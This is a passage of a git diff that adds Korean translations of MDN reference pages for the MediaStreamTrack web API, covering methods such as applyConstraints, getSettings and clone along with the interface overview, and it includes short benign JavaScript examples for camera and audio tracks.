+<div>
+
+
+<p>{{Compat("api.ImageCapture")}}</p>
+
+<h3 id="PhotoCapabilities"><code>PhotoCapabilities</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.PhotoCapabilities")}}</p>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/applyconstraints/index.html b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html
new file mode 100644
index 0000000000..f2c145bf85
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html
@@ -0,0 +1,91 @@
+---
+title: MediaStreamTrack.applyConstraints()
+slug: Web/API/MediaStreamTrack/applyConstraints
+tags:
+ - API
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaStreamTrack
+ - Method
+translation_of: Web/API/MediaStreamTrack/applyConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <code><strong>applyConstraints</strong></code><strong><code>()</code></strong> 메서드는 트랙에 제약을 적용합니다. 제약을 통해 웹 사이트와 앱은 프레임 레이트, 해상도, 플래시 여부 등, 제약 가능한 속성을 자신이 바라는 이상적인 값과 허용 가능한 범위로 제한할 수 있습니다.</span></p>
+
+<p>제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서의 <a href="/ko/docs/Web/API/Media_Streams_API/Constraints#Applying_constraints">제약 적용</a> 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>appliedPromise</em> = <em>track</em>.applyConstraints([<em>constraints</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>constraints</code> {{optional_inline}}</dt>
+ <dd>트랙에 적용할 제약 속성을 나열하는 {{domxref("MediaTrackConstraints")}} 객체. 기존에 존재하는 제약은 모두 새로운 값으로 대체하고, <code>constraints</code> 매개변수에 포함하지 않은 제약의 경우 기본값으로 돌아갑니다. 매개변수를 생략한 경우, 모든 사용자 지정 제약을 기본값으로 초기화합니다. <code>constraints</code> 객체는 {{jsxref("Promise")}}가 이행하기 전에 반드시 적용해야 하는 기본 제약 설정을 나타냅니다. 추가로, 반드시 동일한 조건이어야 함을 나타내는 고급 제약도 <code>MediaTrackConstrants</code> 객체 배열로 포함할 수 있습니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>제약을 성공적으로 적용한 경우 이행하는 {{jsxref("Promise")}}. 제약 적용에 실패한 경우, 이름이 <code>OverconstrainedError</code>인 {{domxref("MediaStreamError")}}로 거부합니다. 제약이 너무 엄격해서 일치하는 조건을 찾지 못한 경우 발생할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 기본과 고급 제약을 지정하는 법을 보입니다. 우선 페이지와 앱이 640에서 1280의 너비, 480에서 720의 높이가 필요하다고 지정합니다. 이때 뒤쪽의 큰 수를 선호하는 값으로 나타냅니다. 고급 제약은 더 나아가 1920*1280의 이미지를 선호하며, 이 크기를 제공할 수 없는 경우 가로세로비 1.333을 요구합니다. 이렇게 여러 개의 제약을 두는 것을 명세는 "백오프 전략"이라고 말합니다.</p>
+
+<pre class="brush: js">const constraints = {
+ width: {min: 640, ideal: 1280},
+ height: {min: 480, ideal: 720},
+ advanced: [
+  {width: 1920, height: 1280},
+    {aspectRatio: 1.333}
+  ]
+};
+
+navigator.mediaDevices.getUserMedia({ video: true })
+.then(mediaStream =&gt; {
+  const track = mediaStream.getVideoTracks()[0];
+  track.applyConstraints(constraints)
+  .then(() =&gt; {
+  // Do something with the track such as using the Image Capture API.
+  })
+  .catch(e =&gt; {
+  // The constraints could not be satisfied by the available devices.
+  });
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediatrackconstraints', 'applyConstraints()')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('MediaStream Image', '#mediatrackconstraintset-section','applyConstraints()')}}</td>
+ <td>{{Spec2('MediaStream Image')}}</td>
+ <td>Adds image constraints.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.applyConstraints")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/MediaStream_Image_Capture_API">MediaStream Image Capture API</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/clone/index.html b/files/ko/web/api/mediastreamtrack/clone/index.html
new file mode 100644
index 0000000000..71e6794948
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/clone/index.html
@@ -0,0 +1,46 @@
+---
+title: MediaStreamTrack.clone()
+slug: Web/API/MediaStreamTrack/clone
+tags:
+ - API
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaStreamTrack
+ - Method
+ - Reference
+translation_of: Web/API/MediaStreamTrack/clone
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>clone()</code></strong> 메서드는 <code>MediaStreamTrack</code> 객체의 사본을 반환합니다. 사본은 새로운 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 모든 값이 원본과 동일합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>newTrack</em> = <em>track</em>.clone()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>clone()</code>을 호출한 {{domxref("MediaStreamTrack")}}에서 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 똑같은 새로운 <code>MediaStreamTrack</code>.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-clone', 'clone()')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.clone")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/enabled/index.html b/files/ko/web/api/mediastreamtrack/enabled/index.html
new file mode 100644
index 0000000000..6fbe680416
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/enabled/index.html
@@ -0,0 +1,83 @@
+---
+title: MediaStreamTrack.enabled
+slug: Web/API/MediaStreamTrack/enabled
+tags:
+ - Media
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Property
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaStreamTrack/enabled
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>enabled</code></strong> 속성은 트랙이 소스 스트림을 렌더링 할 수 있으면 <code>true</code>, 아니면 <code>false</code>를 반환합니다. <code>enabled</code> 속성을 사용해 음소거 기능을 구현할 수 있습니다.</span> 활성화된 경우 트랙의 데이터는 입력에서 목적지로 출력됩니다. 비활성 상태에서는 빈 프레임만 출력합니다.</p>
+
+<p>오디오 트랙의 경우 비활성화 트랙이 생성하는 빈 프레임은 아무 소리도 없는 것, 즉 모든 샘플의 값이 0인 프레임이며, 비디오의 경우 모든 픽셀이 검은 프레임입니다.</p>
+
+<p>사실, <code>enabled</code>의 값은 사용자가 트랙의 "음소거" 상태로 취급할 상태를 나타내며, {{domxref("MediaStreamTrack.muted", "muted")}} 속성은 전송 중 프레임 유실 등으로 인해 데이터를 출력할 수 없는 상태를 뜻합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 트랙의 연결이 끊긴 후에도 <code>enabled</code> 값을 바꿀 수는 있지만 아무런 효과도 없습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>enabledFlag</em> = <em>track</em>.enabled
+<em>track</em>.enabled = [true | false]</pre>
+
+<h3 id="값">값</h3>
+
+<p><code>true</code>는 실제 미디어의 렌더링이 허용됨을 나타냅니다. <code>false</code>로 설정한 경우 빈 프레임만 생성합니다.</p>
+
+<p>빈 오디오 프레임의 모든 샘플 값은 0입니다. 빈 비디오 프레임의 모든 픽셀은 완전한 검정입니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>{{domxref("MediaStreamTrack")}}이 카메라의 비디오 입력을 나타내는 경우, 트랙의 <code>enabled</code>를<code>false</code>로 설정해 비활성화하면 카메라의 녹화 표시도 꺼집니다. 예를 들어, iMac과 MacBook의 카메라 옆에 존재하는 초록색 "사용 중" LED도 꺼집니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 {{event("click")}} 이벤트 처리기를 사용해 일시정지를 구현합니다.</p>
+
+<pre class="brush: js">pauseButton.onclick = function(evt) {
+ const newState = !myAudioTrack.enabled;
+
+ pauseButton.innerHTML = newState ? "&amp;#x25B6;&amp;#xFE0F;" : "&amp;#x23F8;&amp;#xFE0F;";
+ myAudioTrack.enabled = newState;
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-enabled', 'enabled') }}</td>
+ <td>{{ Spec2('Media Capture') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.enabled")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Media_Streams_API">MediaStream API</a></li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/getcapabilities/index.html b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html
new file mode 100644
index 0000000000..7d950a96c4
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html
@@ -0,0 +1,48 @@
+---
+title: MediaStreamTrack.getCapabilities()
+slug: Web/API/MediaStreamTrack/getCapabilities
+tags:
+ - API
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaStreamTrack
+ - Method
+ - Reference
+translation_of: Web/API/MediaStreamTrack/getCapabilities
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>getCapabilities()</code></strong> 메서드는 {{glossary("user agent", "사용자 에이전트")}}가 지원하는 각각의 제약 조건에 적용할 수 있는 값이나 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체를 반환합니다.</span></p>
+
+<p>브라우저의 기능 범위를 알아낸 후에는 스크립트에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}를 사용해 트랙의 설정을 이상적인 값으로, 또는 적어도 원하는 범위 안으로 설정할 수 있습니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>capabilities</em> = <em>track</em>.getCapabilities()</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>사용자 에이전트가 지원하는 제약 속성 각각의 가능한 값 또는 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-getcapabilities', 'getCapabilities()')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.getCapabilities")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/getconstraints/index.html b/files/ko/web/api/mediastreamtrack/getconstraints/index.html
new file mode 100644
index 0000000000..b0ad272813
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/getconstraints/index.html
@@ -0,0 +1,62 @@
+---
+title: MediaStreamTrack.getConstraints()
+slug: Web/API/MediaStreamTrack/getConstraints
+tags:
+ - API
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaStreamTrack
+ - Method
+ - Reference
+translation_of: Web/API/MediaStreamTrack/getConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>getConstraints()</code></strong> 메서드는 현재 트랙에서 마지막으로 호출한 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 메서드로 설정한 제약을 포함한 객체를 반환합니다. 반환한 제약 값은 웹 사이트나 애플리케이션이 제약 속성에 지정한 특정 값 또는 값의 범위 조건을 나타냅니다.</span></p>
+
+<p>제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서의 <a href="/ko/docs/Web/API/Media_Streams_API/Constraints#Applying_constraints">제약 적용</a> 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>constraints</em> = <em>track</em>.getConstraints()</pre>
+
+<h3 id="반환_값"><span style="font-size: 1.714rem; letter-spacing: -0.021em; line-height: 1;">반환 값</span></h3>
+
+<p>가장 최근에 웹 사이트 또는 애플리케이션에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 호출로 지정한 제약 속성을 나타내는 {{domxref("MediaTrackConstraints")}} 객체. 지정할 때 사용한 속성 순서를 동일하게 반환하며, 웹 사이트 또는 애플리케이션에서 지정하지 않은 속성은 포함하지 않습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 반환한 제약 집합이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 사이트 코드에서 지정한 어떤 제약 조건을 만족할 수 없는 상황에서도, 해당 속성을 반환 값에 포함합니다. 따라서 반환 값이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 모든 제약 속성에 현재 활성화된 값이 필요한 경우 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} 메서드를 사용하세요.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 트랙의 현재 제약을 가져와서 {{domxref("MediaTrackConstraints.facingMode", "facingMode")}}를 설정한 후, 새로운 제약을 트랙에 적용합니다.</p>
+
+<pre class="brush: js">function switchCameras(track, camera) {
+ const constraints = track.getConstraints();
+ constraints.facingMode = camera;
+ track.applyConstraints(constraints);
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-getconstraints', 'getConstraints()')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.getConstraints")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/getsettings/index.html b/files/ko/web/api/mediastreamtrack/getsettings/index.html
new file mode 100644
index 0000000000..32df925e2e
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/getsettings/index.html
@@ -0,0 +1,49 @@
+---
+title: MediaStreamTrack.getSettings()
+slug: Web/API/MediaStreamTrack/getSettings
+tags:
+ - API
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Method
+ - Reference
+translation_of: Web/API/MediaStreamTrack/getSettings
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">{{domxref("MediaStreamTrack")}} 인터페이스의 <strong><code>getSettings()</code></strong> 메서드는 트랙의 각 제약 속성에 지금 적용된 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다.</span> <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>settings</em> = <em>track</em>.getSettings()</pre>
+
+<h3 id="반환_값"><span style="font-size: 1.714rem; letter-spacing: -0.021em; line-height: 1;">반환 값</span></h3>
+
+<p>트랙의 현재 제약 속성 설정을 설명하는 {{domxref("MediaTrackSettings")}} 객체.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 반환하는 객체는 모든 제약 속성을 포함하며, 사이트 코드에서 수정하지 않은 플랫폼 기본값 역시 들어있습니다. 사이트 코드에서 제일 최근에 적용한 제약 속성만 필요한 경우, {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} 메서드를 사용하세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#dom-mediastreamtrack-getsettings', 'getSettings()')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.getSettings")}}</p>
diff --git a/files/ko/web/api/mediastreamtrack/id/index.html b/files/ko/web/api/mediastreamtrack/id/index.html
new file mode 100644
index 0000000000..ee7a4ebe30
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/id/index.html
@@ -0,0 +1,50 @@
+---
+title: MediaStreamTrack.id
+slug: Web/API/MediaStreamTrack/id
+tags:
+ - Media Capture and Streams
+ - MediaStreamTrack
+ - Property
+ - Read-only
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaStreamTrack/id
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><code><strong>MediaStreamTrack.id</strong></code> 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 생성하는, 트랙의 전역 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">const <em>id</em> = <em>track</em>.id</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('Media Capture', '#dom-mediastreamtrack-id', 'MediaStreamTrack.id') }}</td>
+ <td>{{ Spec2('Media Capture') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.MediaStreamTrack.id")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/mediastreamtrack/index.html b/files/ko/web/api/mediastreamtrack/index.html
new file mode 100644
index 0000000000..1b5fd8b18a
--- /dev/null
+++ b/files/ko/web/api/mediastreamtrack/index.html
@@ -0,0 +1,135 @@
+---
+title: MediaStreamTrack
+slug: Web/API/MediaStreamTrack
+tags:
+ - API
+ - Interface
+ - Media
+ - Media Capture and Streams API
+ - Media Streams API
+ - MediaStreamTrack
+ - Reference
+ - WebRTC
+translation_of: Web/API/MediaStreamTrack
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary"><strong><code>MediaStreamTrack</code></strong> 인터페이스는 스트림 내의 단일 미디어 트랙을 나타냅니다. 보통 오디오와 비디오 트랙이지만, 다른 종류도 존재할 수 있습니다.</span></p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>MediaStreamTrack</code>은 다음에 나열된 속성 외에도 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정하고 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}와 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}로 접근 가능한 제약 속성을 가집니다. <a href="/ko/docs/Web/API/Media_Streams_API/Constraints">기능, 제약, 설정</a> 문서를 방문해 제약 속성을 다루는 법을 알아보세요. 올바르게 다루지 않으면 불안정한 코드를 낳을 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.contentHint")}}</dt>
+ <dd>트랙 유형에 대한 힌트를 제공하는 문자열입니다. 웹 애플리케이션이 트랙의 처리 방식을 결정할 때 사용할 수 있습니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.enabled")}}</dt>
+ <dd>트랙을 활성화, 즉 미디어 출처 스트림의 렌더링을 허용하면 <code>true</code>이고 비활성화, 즉 미디어 소스 스트림 렌더링을 허용하지 않아 검은 화면과 조용함만 확인할 수 있으면 <code>false</code>인 속성입니다. 트랙의 연결이 끊긴 경우에도 값을 바꿀 수는 있으나 아무런 효과도 없습니다.
+ <div class="note"><strong>참고:</strong> 일반적인 "음소거" 기능은 <code>enabled</code>를 <code>false</code>로 바꿔서 구현할 수 있습니다. <code>muted</code> 속성은 기술적인 문제로 인해 미디어가 존재하지 않을 때를 나타냅니다.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}</dt>
+ <dd>트랙의 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다. 고유 식별자는 브라우저가 생성합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.isolated")}} {{ReadOnlyInline}}</dt>
+ <dd>트랙이 <strong>고립</strong>된 경우 <code>true</code>인 속성입니다. 고립 상태란 해당 <code>MediaStreamTrack</code>을 소유한 문서에서 트랙에 접근할 수 없을 때를 의미합니다. {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} 속성이 설정된 경우, 그리고 트랙의 소스가 교차 출처에 위치하는 경우 발생합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}</dt>
+ <dd>오디오 트랙인 경우 <code>"audio"</code>, 비디오 트랙인 경우 <code>"video"</code>인 {{domxref("DOMString")}}을 반환합니다. 트랙이 소스에서 분리된 경우 변하지 않습니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}</dt>
+ <dd>트랙 소스에 대해 사용자 에이전트가 할당한 식별자를 담은 {{domxref("DOMString")}}을 반환합니다. 식별자의 예시는 <code>"internal microphone"</code>입니다. 빈 문자열일 수 있으며, 연결된 소스가 없는 경우 계속 빈 문자열로 남아 있습니다.  트랙이 소스에서 분리되더라도 식별자는 변하지 않습니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}</dt>
+ <dd>기술적인 문제로 인해 트랙이 미디어 데이터를 제공할 수 없음을 나타내는 불리언 값을 반환합니다.
+ <div class="note"><strong>참고:</strong> 일반적인 "음소거" 기능은 <code>enabled</code>를 <code>false</code>로 바꿔서 구현할 수 있으며, 음소거 해제는 <code>enabled</code>를 다시 <code>true</code>로 바꾸면 됩니다.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}</dt>
+ <dd>읽기 전용 트랙(비디오 파일 소스, 설정을 바꿀 수 없는 카메라 등)인 경우 <code>true</code>를 반환합니다. 그 외의 경우 <code>false</code>를 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt>
+ <dd>트랙의 상태를 나타내는 열거형 값을 반환합니다. 가능한 값은 다음과 같습니다.
+ <ul>
+ <li><code>"live"</code>는 입력이 연결됐으며 실시간 데이터를 제공하고 있음을 나타냅니다. 이때, {{domxref("MediaStreamTrack.enabled", "enabled")}} 특성을 사용해 데이터 출력을 켜거나 끌 수 있습니다.</li>
+ <li><code>"ended"</code>는 입력이 더 이상 데이터를 전달하지 않고 있으며, 앞으로도 새로운 데이터를 제공하지 않을 것임을 나타냅니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<dl class="hidden">
+ <dt>{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Returns a Boolean with a value of <code>true</code> if the track is sourced by a {{domxref("RTCPeerConnection")}}, <code>false</code> otherwise.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.applyConstraints()")}}</dt>
+ <dd>애플리케이션이 <code>MediaStreamTrack</code>에 사용 가능한 제약 속성을 원하는 값과 범위로 지정할 수 있는 메서드입니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.clone()")}}</dt>
+ <dd><code>MediaStreamTrack</code>의 복제본을 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.getCapabilities()")}}</dt>
+ <dd><code>MediaStreamTrack</code>에 사용 가능한 제약 속성을 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.getConstraints()")}}</dt>
+ <dd><code>MediaStreamTrack</code>에 현재 지정된 제약을 담은 {{domxref('MediaTrackConstraints')}} 객체를 반환합니다. 이전에 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정한 값과 동일합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.getSettings()")}}</dt>
+ <dd><code>MediaStreamTrack</code>에 현재 지정된 제약 속성 각각의 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("MediaStreamTrack.stop()")}}</dt>
+ <dd>트랙에 연결된 소스의 재생을 중단하고, 서로 분리합니다. 트랙의 상태는 <code>ended</code>로 변경합니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>다음 이벤트는 <code>MediaStreamTrack</code>의 {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하거나 <code>on<em>eventname</em></code> 속성을 사용해 수신할 수 있습니다.</p>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/ended_event">ended</a></code></dt>
+ <dd>트랙의 플레이백이 끝났을 때, 즉 {{domxref("MediaStreamTrack.readyState", "readyState")}}의 값이 <code>ended</code>로 변했을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onended">onended</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/mute_event">mute</a></code></dt>
+ <dd>기술적인 이유(네트워크 문제 등)로 인해 일시적으로 트랙이 데이터를 제공하지 못할 때, 즉 {{domxref("MediaStreamTrack.muted", "muted")}}의 값이 <code>true</code>로 변했을 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onmute">onmute</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/isolationchange_event">isolationchange</a></code></dt>
+ <dd>문서가 트랙에 대한 접근 권한을 얻거나 잃었을 때, 즉 {{domxref("MediaStreamTrack.isolated", "isolated")}}의 값이 변할 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onisolationchange">onisolationchange</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/unmute_event">unmute</a></code></dt>
+ <dd>데이터를 다시 사용할 수 있어서 <code>muted</code> 상태가 끝날 때 발생합니다.<br>
+ <code><a href="/ko/docs/Web/API/MediaStreamTrack/onunmute">onunmute</a></code> 이벤트 처리기 속성으로도 수신할 수 있습니다.</dd>
+</dl>
+
+<dl class="hidden">
+ <dt><code><a href="/ko/docs/Web/API/MediaStreamTrack/overconstrained_event">overconstrained</a></code> {{deprecated_inline}}</dt>
